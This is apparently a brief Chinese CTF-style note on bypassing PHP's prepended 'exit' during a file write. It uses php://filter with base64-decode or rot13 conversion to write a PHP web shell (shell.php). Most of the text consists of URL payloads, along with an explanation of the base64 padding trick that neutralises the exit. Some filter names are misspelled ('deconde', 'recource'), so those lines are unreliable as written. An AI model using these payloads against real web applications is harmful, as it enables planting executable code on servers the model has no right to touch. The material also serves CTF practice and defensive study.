0×01
1 |
|
exit
加在filename前面,会导致写入的内容不能执行。(利用php base64_decode函数特性去除“死亡exit”)
Payload:
/?file=filter/write=convert.base64-deconde|aPD9waHAgcGhwaW5mbygpOz8+/recource=shell.php
/?file = php://filter/write=string.rot13|
<?cuc cucvasb();?>
/resource=shell.php rot13编码
0×02
1 |
|
base64可打印(A-Z a-z 0-9 +/)=
补位 ,遇到不符合的字符会跳过,所以< ? ; ? >; 和空格 七个字符不符合,
最终解码只有phpexit
7个字符,base64解码是4个一组的,所有要在shell前面加个a,
Payload:
/?txt=aPD9waHAgcGhwaW5mbygpOz8+&filename=php://filter/write=convert.base64-deconde/resource=shell.php //PD9waHAgcGhwaW5mbygpOz8+前面要多加一个a